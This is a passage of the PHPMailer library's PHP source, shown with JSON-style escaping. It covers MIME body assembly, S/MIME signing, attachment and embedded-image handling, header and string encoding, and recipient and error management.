$this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n 